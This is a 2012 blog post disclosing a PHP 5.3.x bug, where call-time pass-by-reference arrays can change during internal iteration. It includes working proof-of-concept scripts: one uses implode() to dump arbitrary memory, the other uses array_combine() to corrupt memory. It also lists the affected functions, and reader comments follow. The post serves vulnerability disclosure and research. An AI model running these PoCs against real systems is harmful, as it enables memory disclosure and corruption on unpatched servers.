Saturday, January 21, 2012

PHP Array Interruption Bug due to call-time-pass-by-reference

I also reported this bug via e-mail a few months ago. Bug no fixed :[.

Affected versions: 5.3.x
This bug does not affect version 5.4 (and never) because call-time-pass-by-reference feature is removed.

Some PHP functions contain this bug. It can lead information leakeage and memory corruption (found only one). But most of them (what I can do now) can do only program crash.

Normally in PHP functions, the array is iterated with zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), zend_hash_move_forward() or zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), zend_hash_move_forward_ex() functions. If an array is passed by reference and a PHP function does something that can be interrupted such as calling convert_to_xxx_ex() function, the array elements might be altered and the pointers in PHP function might point to invalid data.

The pseudocode structure that has this problem is shown below.

zend_hash_internal_pointer_reset(input)
loop:
    zend_hash_get_current_data(input, entry)
    //...
    convert_to_xxx_ex(**entry)  // <== interruption is here
    //...
    zend_hash_move_forward(input)

Because zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), and zend_hash_move_forward() use internal pointer (pInternalPointer) for interation, the interruption can make only entry pointer point to invalid data. I can only make the program crash with this array iteration code.

zend_hash_internal_pointer_reset_ex(input, pos)
loop:
    zend_hash_get_current_data_ex(input, entry, pos)
    //...
    convert_to_xxx_ex(**entry)  // <== interruption is here
    //...
    zend_hash_move_forward_ex(input, pos)

While zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), and zend_hash_move_forward_ex() use external pointer ('pos' in above pseudocode) for interation, the interruption can make pos and entry pointers point to invalid data (manipulated data). Some of PHP function I can leak data from memory address or do memory corruption.

Below is PoC for dump memory at any address with implode() (32 bit only).

<?php
class dummy {
    public function __toString() {
        unset($GLOBALS['arr1'][0]);
        unset($GLOBALS['arr1'][1]);
        // dump memory at 0x08048000
        $GLOBALS['test1'] .= "\x00\x80\x04\x08\x10\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '';
    }
}
$test1='';
$arr1 = array(new dummy, 1);
$data = implode(",", &$arr1);
var_dump($data);

Below is PoC for memory corruption with array_combine() (32 bit only).

<?php
class dummy {
    public function __toString() {
        unset($GLOBALS['arr2'][0]);
        $GLOBALS['test1'] .= "\x00\x00\x00\xff\xff\xff\x7f\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '0';
    }
}
$test1="\x00";
$arr1 = array(new dummy);
$arr2 = array('dddddd');
$out = array_combine($arr1, &$arr2);
var_dump($out); // strlen of $out is 0x7fffffff

Here is the list of PHP functions that I found the problem.

====================================
=== zend_hash_get_current_data() ===
====================================
*** crash ***
- curl_setopt with CURLOPT_POSTFIELDS option
- setlocale
- preg_grep
=======================================
=== zend_hash_get_current_data_ex() ===
=======================================
*** crash ***
- imagesetstyle
- pcntl_sigwaitinfo
- curl_setopt_array

*** dump arbritary memory address ***
- file_put_contents
- fputcsv
- implode

*** memory corruption ***
- array_combine

2 comments:

  1. why in the __toString methods you use
    $GLOBALS['test1'] and not $GLOBALS['arr1'] aor
    $GLOBALS['arr2'] , is that ok or is it a mistake?

    also when you do
    unset($GLOBALS['arr2'][0]);

    is the associated Bucket + zval freed or just the zval is freed?

    ReplyDelete
  2. It’s hard to come by experienced people about this subject, but you seem like you know what you’re talking about! Thanks.
    Java Training in Bangalore

    ReplyDelete